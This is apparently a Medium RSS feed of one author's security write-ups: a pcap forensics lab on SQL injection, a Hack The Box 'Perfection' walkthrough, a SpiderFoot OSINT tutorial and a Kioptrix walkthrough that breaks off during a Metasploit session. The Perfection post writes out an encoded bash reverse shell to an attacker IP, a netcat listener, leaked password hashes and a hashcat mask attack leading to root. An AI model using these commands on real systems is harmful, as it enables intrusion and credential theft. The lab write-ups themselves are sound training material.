<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Wilfred Mutai on Medium]]></title>
        <description><![CDATA[Stories by Wilfred Mutai on Medium]]></description>
        <link>https://medium.com/@wilfredmutai?source=rss-7361d13bf4e4------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ux3A_UaYryzVESYRaZj-cQ.jpeg</url>
            <title>Stories by Wilfred Mutai on Medium</title>
            <link>https://medium.com/@wilfredmutai?source=rss-7361d13bf4e4------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 08 May 2026 13:11:20 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@wilfredmutai/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[Web Investigation Blue Team Lab — CyberDefenders]]></title>
            <link>https://wilfredmutai.medium.com/web-investigation-blue-team-lab-cyberdefenders-cc93b7cbd383?source=rss-7361d13bf4e4------2</link>
            <guid isPermaLink="false">https://medium.com/p/cc93b7cbd383</guid>
            <category><![CDATA[sql]]></category>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[pcap-analysis]]></category>
            <category><![CDATA[wireshark]]></category>
            <dc:creator><![CDATA[Wilfred Mutai]]></dc:creator>
            <pubDate>Tue, 07 May 2024 13:45:05 GMT</pubDate>
            <atom:updated>2024-05-07T13:45:05.936Z</atom:updated>
            <content:encoded><![CDATA[<h3>Web Investigation Blue Team Lab — CyberDefenders</h3><p>The lab file provided is a <em>pcap</em> file so I will open the file using <em>wireshark</em>.</p><blockquote>By knowing the attacker’s IP, we can analyze all logs and actions related to that IP and determine the extent of the attack, the duration of the attack, and the techniques used. Can you provide the attacker’s IP?</blockquote><p>Using wireshark, I go to Statistics &gt; Conversations</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XQSribIAFbz_FqNtejF58A.png" /></figure><p>I noticed the huge number of packets sent from <em>111.224.250.131</em> ,seems like something so I check it out. Digging on the internet, I found another network analysis tool, <a href="https://www.netresec.com/?page=Blog&amp;month=2014-02&amp;post=HowTo-install-NetworkMiner-in-Ubuntu-Fedora-and-Arch-Linux">NetworkMiner</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wffrh0OpkfparhszefJcmg.png" /></figure><p>That is definitely the attacker’s ip address.</p><blockquote>If the geographical origin of an IP address is known to be from a region that has no business or expected traffic with our network, this can be an indicator of a targeted attack. Can you determine the origin city of the attacker?</blockquote><p>Did a google search on ip lookup sites. I used <a href="https://www.whatismyip.com/ip-address-lookup/">https://www.whatismyip.com/ip-address-lookup</a>/ for this question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*qmFIEvW_2PuVRHnRqP0HWA.png" /></figure><blockquote>Identifying the exploited script allows security teams to understand exactly which vulnerability was used in the attack. This knowledge is critical for finding the appropriate patch or workaround to close the security gap and prevent future exploitation. Can you provide the vulnerable script name?</blockquote><p>From the first question, I noticed the use of <em>sqlmap. </em>So I’m looking for some sort of SQL injection.</p><p>Back to Wireshark &gt; Statistics &gt; HTTP &gt; Requests</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KRRUwOLzE7XC91zPVxqbfw.png" /></figure><p>I can clearly see SQL injection been exploited on <em>search.php</em></p><blockquote>Establishing the timeline of an attack, starting from the initial exploitation attempt, What’s the complete request URI of the first SQLi attempt by the attacker?</blockquote><p>Tried 1=1 first since it is the simplest SQLi payload combination I know off. Used the find option in wireshark to search for the SQLi payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*usTl3uBVzveWilWrixZbkw.png" /></figure><p>Found it since wireshark arranges packets in chronological order.</p><blockquote>Can you provide the complete request URI that was used to read the web server available databases?</blockquote><p>I filtered our attacker’s ip against response code 200 then searched for <em>mysql</em> in the packet details.</p><p>Make sure to change the search filter from <em>packet list</em> (set by default) to <em>packet details</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pod_kr8QRx0Lov-1-lHHmQ.png" /></figure><p>We can clearly see the Request URI but why not go a bit deeper!</p><p>Then right click on the highlighted packet &gt; Follow &gt; HTTP Stream</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TlZbeoRolazIpChjk1pVXQ.png" /></figure><blockquote>Assessing the impact of the breach and data access is crucial, including the potential harm to the organization’s reputation. What’s the table name containing the website users data?</blockquote><p>From the previous question, I could see a database name — <em>bookworld_db</em></p><p>I filtered packets from the host against response code 200 then did a database search in packet details. We get quite a small number of responses which we can sort by packet length (I assumed the packet would be longer since the host returned database details).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wqj8blhFtFZYxixKwWOu8g.png" /></figure><p>Check out HTTP Stream on the top most packet after sorting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lTW_lmR9k6V3csNrUJGhOg.png" /></figure><p>And we have a database name!</p><blockquote>The website directories hidden from the public could serve as an unauthorized access point or contain sensitive functionalities not intended for public access. Can you provide name of the directory discovered by the attacker?</blockquote><p>When asked about hidden directory that contain sensitive functionalities, my first thought was admin panel.</p><p>If the attacker managed to access this directory, then the packet is under response code 200. Using the filter from the previous question, I search for <em>‘admin’ </em>in packet details<em>.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9Jbi7HN05mQnaBi-COSnTw.png" /></figure><p>I got a hit!</p><blockquote>Knowing which credentials were used allows us to determine the extent of account compromise. What’s the credentials used by the attacker for logging in?</blockquote><p>Providing credentials to the host will be under POST requests so let’s filter out all POST requests.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qd8NUOC1Ebso7YV2Fvb7ig.png" /></figure><p>I got 5 requests, time to go through each HTTP stream to find credentials used.</p><p>Found the username and password used to login to the admin panel!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*J1cSx7XhzIc8rjHCKhr32A.png" /></figure><p>The rest of the packets returned <em>invalid username or password</em></p><p>Just for reference</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*xMOBgpxQR8AR07JuY4NPWg.png" /></figure><blockquote>We need to determine if the attacker gained further access or control on our web server. What’s the name of the malicious script uploaded by the attacker?</blockquote><p>Uploading falls under POST requests so we refer back to the previous question and find the malicious script from the 5 listed requests.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZKvuMcpHGZu9DvAbop5IpA.png" /></figure><p>Checking the HTTP stream gives more insight on the malicious script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*Z_sPLDRS6Ws5JEtLGEgcjA.png" /></figure><p>And we’re are done with this Blue Team Lab.</p><h4>Summary</h4><p>This is a great lab for those who want to learn how to use wireshark for network forensics. I found NetworkMiner to be a great tool but it can be a bit slow when uploading pcap files.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cc93b7cbd383" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Perfection — HTB Machine]]></title>
            <link>https://wilfredmutai.medium.com/perfection-htb-machine-66f66ec7c172?source=rss-7361d13bf4e4------2</link>
            <guid isPermaLink="false">https://medium.com/p/66f66ec7c172</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[htb]]></category>
            <dc:creator><![CDATA[Wilfred Mutai]]></dc:creator>
            <pubDate>Sun, 14 Apr 2024 19:31:11 GMT</pubDate>
            <atom:updated>2024-04-14T19:31:11.192Z</atom:updated>
            <content:encoded><![CDATA[<h3>Perfection — HTB Machine</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*O4v4MB2KLHZ-lM8kOW00yA.png" /></figure><blockquote><em>Difficulty: Easy</em></blockquote><blockquote><em>Points: 30</em></blockquote><blockquote><em>OS: Linux</em></blockquote><h4><strong>Nmap Scan</strong></h4><pre>Nmap scan report for 10.10.11.253<br>Host is up (0.39s latency).<br>Not shown: 998 closed tcp ports (reset)<br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)<br>80/tcp open  http    nginx<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>We only get 2 open ports. Port 80 suggests we have a webpage so first add the target IP to <em>/etc/hosts</em>.</p><pre>echo &quot;10.10.11.253 perfection.htb&quot; &gt;&gt; /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yGkUvDJb83XJnW8U6bXzFQ.png" /></figure><p>There is something else on the bottom of the page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*N1tWK7rddrDVByPYf_kKwQ.png" /></figure><p>We have a version number. I will start by looking into <em>WEBrick 1.7.0</em></p><blockquote>WEBrick is an HTTP server toolkit that can be configured as an HTTPS server, a proxy server, and a virtual-host server.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yvgLAkzKz13E7Y5kp0XguA.png" /></figure><p>There is no known vulnerability of version 1.7.0 . Let’s keeping digging through the web.</p><p>I don’t seem to find anything so I went back to the webpage. Let’s check out the directory, <a href="http://perfection.htb/weighted-grade">http://perfection.htb/weighted-grade</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O-bPt7ODa469Wp3a2vNjjw.png" /></figure><p>I tried some XSS on the input form.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/1*yhCul7SxVlFH3nYrIUDUew.png" /></figure><p>Did a <em>dirsearch</em> on the target. Still nothing but I keep going. How about the About page, maybe I could get more info on the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C3N2w7x4meiSWLoiTYcWfw.jpeg" /></figure><p>Seems like we have error in code from the description on Tina Smith. Susan Miller is a sysadmin so it’s likely there is a user under Susan or Tina for that matter. Let’s go back to the input form. I guess that is our way in.</p><p>Finally decided to fire up Burp to give it a go.</p><h4>Burpsuite</h4><p>I will capture the POST request from our input form and try injecting some payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NQKWQayoa5VUnZxPUbHTdQ.png" /><figcaption>POST Request</figcaption></figure><p>This part sent me down a rabbit hole trying different payloads. Tried something here and got no error response, might be onto something.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*6PTIUveKSSdPaxyLxy-5Iw.png" /></figure><p>Time to find a payload, I mostly use <a href="https://www.revshells.com/">reverseshells</a> for my payloads.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*Eyy97eu_8iV8WQ767VdstQ.png" /></figure><p>I will try this and hopefully we get a reverse shell.</p><p>We have to encode the payload. For this part, I will use <a href="https://www.kali.org/tools/hurl/"><em>hURL</em></a>.</p><pre>$ hURL -B &quot;bash -i &gt;&amp; /dev/tcp/10.10.14.64/9999 0&gt;&amp;1&quot; <br><br>Original       :: bash -i &gt;&amp; /dev/tcp/10.10.14.64/9999 0&gt;&amp;1<br>base64 ENcoded :: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42NC85OTk5IDA+JjE=</pre><pre>$ hURL -U &quot;YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42NC85OTk5IDA+JjE=&quot;<br><br>Original    :: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42NC85OTk5IDA+JjE=<br>URL ENcoded :: YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC42NC85OTk5IDA%2BJjE%3D</pre><p>Start a listener:</p><pre>nc -lvnp 9999</pre><p>Let’s check out our payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*9mAYxEg_QbaupMCD3G_Otw.png" /></figure><p>And I have a shell!</p><pre>$ nc -lvnp 9999<br>listening on [any] 9999 ...<br>connect to [10.10.14.64] from (UNKNOWN) [10.10.11.253] 43924<br>bash: cannot set terminal process group (1010): Inappropriate ioctl for device<br>bash: no job control in this shell<br>susan@perfection:~/ruby_app$</pre><h4>User Flag:</h4><pre>susan@perfection:~/ruby_app$ cd ..<br>cd ..<br>susan@perfection:~$ ls<br>ls<br>Migration<br>ruby_app<br>user.txt<br>susan@perfection:~$ cat user.txt</pre><h4>Root Flag:</h4><p>Tried to run <em>sudo -l</em> as usual but it demands a password:</p><pre>susan@perfection:~$ sudo -l<br>sudo -l<br>sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper<br>sudo: a password is required</pre><p>Decided to check directories and files within our user <em>susan</em>. Found a database file with password hashes</p><pre>susan@perfection:~$ cd Migration<br>cd Migration<br>susan@perfection:~/Migration$ ls<br>ls<br>pupilpath_credentials.db<br>susan@perfection:~/Migration$ strings pupilpath_credentials.db<br>strings pupilpath_credentials.db<br>SQLite format 3<br>tableusersusers<br>CREATE TABLE users (<br>id INTEGER PRIMARY KEY,<br>name TEXT,<br>password TEXT<br>Stephen Locke154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8S<br>David Lawrenceff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87aP<br>Harry Tylerd33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393O<br>Tina Smithdd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57Q<br>Susan Millerabeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f</pre><p>Let’s get cracking!</p><pre>$ echo &quot;abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f&quot; &gt;&gt; hash.txt</pre><p>Identify the hash type before cracking</p><pre>$ hash-identifier<br>   #########################################################################<br>   #     __  __                     __           ______    _____           #<br>   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #<br>   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #<br>   #     \ \  _  \  /&#39;__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #<br>   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #<br>   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #<br>   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #<br>   #                                                             By Zion3R #<br>   #                                                    www.Blackploit.com #<br>   #                                                   Root@Blackploit.com #<br>   #########################################################################<br>--------------------------------------------------<br> HASH: abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f<br><br>Possible Hashs:<br>[+] SHA-256<br>[+] Haval-256<br><br>Least Possible Hashs:<br>[+] GOST R 34.11-94<br>[+] RipeMD-256<br>[+] SNEFRU-256<br>[+] SHA-256(HMAC)<br>[+] Haval-256(HMAC)<br>[+] RipeMD-256(HMAC)<br>[+] SNEFRU-256(HMAC)<br>[+] SHA-256(md5($pass))<br>[+] SHA-256(sha1($pass))<br>--------------------------------------------------</pre><p>This is gonna be a tricky one so I head back to the target to find more info on passwords.</p><p>Got something on the <em>/var</em> directory</p><blockquote>The /var directory contents don&#39;t change. This tree is where data that is likely to change is stored. Various databases, spool files, user mail, etc. are located here.</blockquote><pre>susan@perfection:/var/spool/mail$ cat susan<br>cat susan<br>Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials (&#39;our&#39; including the other students<br><br>in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:<br><br>{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}<br><br>Note that all letters of the first name should be convered into lowercase.<br><br>Please hit me with updates on the migration when you can. I am currently registering our university with the platform.<br><br>- Tina, your delightful student</pre><p>We already have a rough idea of what the password looks like so let’s head to <a href="https://hashcat.net/hashcat/">hashcat</a> to crack the hash.</p><pre>$ hashcat -m 1400 hash.txt -a 3 susan_nasus_?d?d?d?d?d?d?d?d?d</pre><p>The flag <em>-m</em> stands for hash type which in our case <em>1400</em> is SHA2-256 and <em>-a</em> stands for attack mode hence <em>3</em> stands for bruteforce attack or <a href="https://hashcat.net/wiki/doku.php?id=mask_attack">mask attack</a>. <em>?d</em> stands for integer and since our password has a number between 1 and 1,000,000,000 we are looking for a 9-digit number.</p><pre>Session..........: hashcat<br>Status...........: Cracked<br>Hash.Mode........: 1400 (SHA2-256)<br>Hash.Target......: abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a3019934...39023f<br>Time.Started.....: Sun Apr 14 21:28:57 2024 (4 mins, 32 secs)<br>Time.Estimated...: Sun Apr 14 21:33:29 2024 (0 secs)<br>Kernel.Feature...: Pure Kernel<br>Guess.Mask.......: susan_nasus_?d?d?d?d?d?d?d?d?d [21]<br>Guess.Queue......: 1/1 (100.00%)<br>Speed.#1.........:  1200.5 kH/s (0.52ms) @ Accel:256 Loops:1 Thr:1 Vec:8<br>Recovered........: 1/1 (100.00%) Digests<br>Progress.........: 324557824/1000000000 (32.46%)<br>Rejected.........: 0/324557824 (0.00%)<br>Restore.Point....: 324556800/1000000000 (32.46%)<br>Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1<br>Candidate.Engine.: Device Generator<br>Candidates.#1....: susan_nasus_126824210 -&gt; susan_nasus_903759210<br>Hardware.Mon.#1..: Temp: 53c</pre><p>Password Hash is cracked!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*mj0sVWxXvnph9lDRL-PQtA.png" /></figure><p>I can gain access to the user using the password. Now I can run sudo commands on the machine.</p><pre>$ ssh susan@10.10.11.253                    <br>susan@10.10.11.253&#39;s password: <br>susan@perfection:~$ sudo su<br>[sudo] password for susan: <br>root@perfection:/home/susan#</pre><p>cd to <em>/root</em> directory to find root flag.</p><h4>Conclusion</h4><p>SHA256 is considered secure but sensitive information in the mail led us to easily crack the password hash. Highly recommended to use alphanumeric passwords to make it harder to crack. It is important to note that use of alphanumeric passwords will not help with data confidentiality and integrity if company policy dictates a specific combination when setting user passwords.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=66f66ec7c172" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SpiderFoot — SOCMINT Automation Tool]]></title>
            <link>https://wilfredmutai.medium.com/spiderfoot-socmint-automation-tool-7398546d9e85?source=rss-7361d13bf4e4------2</link>
            <guid isPermaLink="false">https://medium.com/p/7398546d9e85</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[automation]]></category>
            <dc:creator><![CDATA[Wilfred Mutai]]></dc:creator>
            <pubDate>Fri, 12 Apr 2024 15:27:11 GMT</pubDate>
            <atom:updated>2024-04-12T15:27:11.475Z</atom:updated>
            <content:encoded><![CDATA[<h3>SpiderFoot — SOCMINT Automation Tool</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/341/1*bs4xNQhuF-mKfoEls7rkEg.png" /></figure><h4><strong><em>Overview</em></strong></h4><p>I will demonstrate how to install SpiderFoot on your attacking machine and how to use the tool. I will show usage by utilizing the challenge, <a href="https://hacktoria.com/the-spy-who-vanished/">The Spy Who Vanished</a></p><h4><strong><em>Installation</em></strong></h4><p>To install SpiderFoot, you need Python 3.7+ and other libraries which can be installed with <em>pip</em>. It is recommended to install the stable build(packaged release) rather than the development build(git).</p><pre>wget https://github.com/smicallef/spiderfoot/archive/v4.0.tar.gz<br>tar zxvf v4.0.tar.gz<br>cd spiderfoot-4.0<br>pip3 install -r requirements.txt</pre><h4><strong>Running SpiderFoot</strong></h4><pre>python3 ./sf.py -l 127.0.0.1:5001</pre><p>This will run SpiderFoot in WebUI mode(which is highly recommended). The command above will bind spiderfoot to localhost on port 5001. Running this will start a web server which can be accessed by a browser of your choice.</p><p>I encountered an AttributeError after running the command.</p><pre>$python3 ./sf.py -l 127.0.0.1:5001 <br>Traceback (most recent call last):<br>  File &quot;/spiderfoot-4.0/./sf.py&quot;, line 25, in &lt;module&gt;<br>    import cherrypy<br>  File &quot;/usr/lib/python3/dist-packages/cherrypy/__init__.py&quot;, line 71, in &lt;module&gt;<br>    from . import _cpdispatch as dispatch<br>  File &quot;/usr/lib/python3/dist-packages/cherrypy/_cpdispatch.py&quot;, line 209, in &lt;module&gt;<br>    getargspec = inspect.getargspec<br>                 ^^^^^^^^^^^^^^^^^^<br>AttributeError: module &#39;inspect&#39; has no attribute &#39;getargspec&#39;. Did you mean: &#39;getargs&#39;?</pre><p>After digging through the web, I found out that prior to Python 3.5, the inspect module did indeed have a function called <em>getargspec</em>, but it was deprecated in Python 3.5 and removed in Python 3.9</p><p>So I opened <em>File “/usr/lib/python3/dist-packages/cherrypy/_cpdispatch.py”</em>, line 209 and replaced <em>getargspec</em> with <em>getargs</em>.</p><p>And it worked!</p><pre>$ python3 ./sf.py -l 127.0.0.1:5001<br><br>*************************************************************<br> Use SpiderFoot by starting your web browser of choice and <br> browse to http://127.0.0.1:5001/<br>*************************************************************<br><br>2024-04-12 16:28:19,358 [INFO] sf : Starting web server at 127.0.0.1:5001 ...<br>2024-04-12 16:28:19,372 [WARNING] sf : <br>********************************************************************<br>Warning: passwd file contains no passwords. Authentication disabled.<br>Please consider adding authentication to protect this instance!<br>Refer to https://www.spiderfoot.net/documentation/#security.<br>********************************************************************</pre><p>Pasting the link to web browser and we are met by:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W0SK9mj4UW3JWlB6v1D_HQ.png" /><figcaption>spiderFoot WebUI</figcaption></figure><h3>The Spy Who Vanished</h3><blockquote>Greetings, Special Agent.</blockquote><blockquote>We have received information regarding the long lost spy from MI5, Deloris Frozenwood. She went missing in action a few years ago, never to be seen again. From what we understand, she went on to provide services to whoever the highest bidder might be.</blockquote><blockquote>Before she went rogue, Deloris was a revered operative within MI5. Taking on some of the most dangerous assignments and quickly working her way through the ranks. Discontent with management, she took matters into her own hands. Often skirting the lines between rule of law and criminal behavior. She was eventually terminated from MI5.</blockquote><blockquote>What happened after her career at MI5 remains shrouded in mystery. She showed up on the radar several times, but only for very brief moments. Having become a target of the organization she once worked for, she’s even gotten arrogant. Often making deliberate appearances for a brief moment, before vanishing to the shadows once again.</blockquote><blockquote>Our colleagues at MI5 have asked us to obtain any information on Deloris Frozenwood we can find. They’re particularly interested in social media profiles. For reference, Deloris often appears as “Deloris Frozenwood”, or as “D Frozenwood”.</blockquote><blockquote>If you find Deloris, her presence will lead you to the password to unlock your linkfile, containing the link to your contract card for this contract.</blockquote><blockquote>As always, the contract is yours, if you choose to accept.</blockquote><h4><strong>SpiderFoot Usage</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xW-pwsp_MVKvg2Tf1Nz4Mg.png" /></figure><p>SpiderFoot will automatically detect the target type based on the format of your input listed on the right side.</p><p>I was not getting any results so I checked logs of the scan and got an error message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LHezMmz80UT0kfSmkfPlwA.png" /><figcaption>Scan Logs</figcaption></figure><p>I looked up the error message and got a hit. Apparently, other users had reported the error.</p><p><a href="https://github.com/smicallef/spiderfoot/issues/1812">sfp_accounts : Unable to parse social media accounts list: Extra data: line 1 column 4 (char 3) · Issue #1812 · smicallef/spiderfoot</a></p><p>Unfortunately the version packaged with Kali does not parse the latest accounts list.</p><p>This should be patched in the latest version on GitHub</p><pre> git clone https://github.com/smicallef/spiderfoot.git<br> cd spiderfoot<br> pip3 install -r requirements.txt<br> python3 ./sf.py -l 127.0.0.1:5001</pre><p>This worked and I got results on the SpiderFoot WebUI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*buFEro6r-2P9j13YYJ7heA.png" /></figure><p>Seems like our Spy popped up on 31st August 2022 to post a tweet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e_F8jF3C8aWLmTlKqkTa5A.png" /></figure><p>Let’s check the tweet and maybe get an answer to the challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qNLSpM1FY-0dTAe5IaGDNA.png" /></figure><p>The challenge mentioned that we’ll know the answer when we see it. Seems like something to me! Submit your answer and be awarded with a badge from <a href="https://hacktoria.com/">Hacktopia</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7398546d9e85" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kioptrix — Level 1]]></title>
            <link>https://wilfredmutai.medium.com/kioptrix-level-1-63378bcd3401?source=rss-7361d13bf4e4------2</link>
            <guid isPermaLink="false">https://medium.com/p/63378bcd3401</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[boot2root]]></category>
            <dc:creator><![CDATA[Wilfred Mutai]]></dc:creator>
            <pubDate>Wed, 10 Apr 2024 10:40:02 GMT</pubDate>
            <atom:updated>2024-04-10T10:40:02.344Z</atom:updated>
            <content:encoded><![CDATA[<h3>Kioptrix — Level 1</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*WTrzns1OmNiqw4mWgN1eUg.png" /></figure><p>I hosted the machine locally on VMware Workstation. Our objective is to gain root access to this machine. Link to the machine is pinned below.</p><p><a href="https://www.vulnhub.com/entry/kioptrix-level-1-1,22/">Kioptrix: Level 1 (#1)</a></p><p><strong>Network Discovery:</strong></p><p>For this part I used <em>netdiscover </em>but you can use other tools like<em> nmap.</em></p><pre> Currently scanning: Finished!   |   Screen View: Unique Hosts                 <br>                                                                               <br> 11 Captured ARP Req/Rep packets, from 2 hosts.   Total size: 462              <br> _____________________________________________________________________________<br>   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      <br> -----------------------------------------------------------------------------<br> 192.168.52.88   e2:db:7d:66:b6:c3     10     420  Unknown vendor              <br> 192.168.52.228  00:0c:29:f9:79:3d      1      42  VMware, Inc. </pre><p><strong>Nmap Scan:</strong></p><pre>Nmap scan report for 192.168.52.228<br>Host is up (0.0042s latency).<br>Not shown: 994 closed tcp ports (reset)<br>PORT      STATE SERVICE     VERSION<br>22/tcp    open  ssh         OpenSSH 2.9p2 (protocol 1.99)<br>80/tcp    open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)<br>111/tcp   open  rpcbind     2 (RPC #100000)<br>139/tcp   open  netbios-ssn Samba smbd (workgroup: MYGROUP)<br>443/tcp   open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b<br>32768/tcp open  status      1 (RPC #100024)<br>MAC Address: 00:0C:29:F9:79:3D (VMware)</pre><p>First I go to the web page as <em>http</em> service is running but we get nothing useful. It returns a test page.</p><p>I tried to scan for hidden directories but no luck!</p><p>I noticed the machine runs netbios-ssn on port 139/tcp, let’s look into that for now. What is <em>smbd</em> ? — <em>a server to provide SMB/CIFS services to clients</em></p><p>To gain more info on smb, check out this publication by <a href="https://twitter.com/hacktricks_live">hacktricks_live</a></p><p><a href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb">139,445 - Pentesting SMB | HackTricks</a></p><p>We can definitely find something here but we have no version. So I’ll fire up <em>metasploit </em>to help us exploit the smb service<em>.</em></p><p><strong>Metasploit Console:</strong></p><pre>$ msfconsole<br><br>         .                                         .<br> .<br><br>      dBBBBBBb  dBBBP dBBBBBBP dBBBBBb  .                       o<br>       &#39;   dB&#39;                     BBP<br>    dB&#39;dB&#39;dB&#39; dBBP     dBP     dBP BB<br>   dB&#39;dB&#39;dB&#39; dBP      dBP     dBP  BB<br>  dB&#39;dB&#39;dB&#39; dBBBBP   dBP     dBBBBBBB<br><br>                                   dBBBBBP  dBBBBBb  dBP    dBBBBP dBP dBBBBBBP<br>          .                  .                  dB&#39; dBP    dB&#39;.BP<br>                             |       dBP    dBBBB&#39; dBP    dB&#39;.BP dBP    dBP<br>                           --o--    dBP    dBP    dBP    dB&#39;.BP dBP    dBP<br>                             |     dBBBBP dBP    dBBBBP dBBBBP dBP    dBP<br><br>                                                                    .<br>                .<br>        o                  To boldly go where no<br>                            shell has gone before<br><br><br>       =[ metasploit v6.3.31-dev                          ]<br>+ -- --=[ 2346 exploits - 1220 auxiliary - 413 post       ]<br>+ -- --=[ 1390 payloads - 46 encoders - 11 nops           ]<br>+ -- --=[ 9 evasion                                       ]<br><br>Metasploit tip: View advanced module options with <br>advanced<br>Metasploit Documentation: https://docs.metasploit.com/<br><br>msf6 &gt; search smb</pre><p>I got something interesting. An auxiliary module to scan for smb version running on the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1UlQL_mq7haw5Ju1Yir0Yg.png" /></figure><p>Worked like a charm!</p><pre>msf6 &gt; use 111<br>msf6 auxiliary(scanner/smb/smb_version) &gt; show options<br><br>Module options (auxiliary/scanner/smb/smb_version):<br><br>   Name     Current Setting  Required  Description<br>   ----     ---------------  --------  -----------<br>   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasp<br>                                       loit.html<br>   THREADS  1                yes       The number of concurrent threads (max one per host)<br><br><br>View the full module info with the info, or info -d command.<br><br>msf6 auxiliary(scanner/smb/smb_version) &gt; set RHOSTS 192.168.52.228<br>RHOSTS =&gt; 192.168.52.228<br>msf6 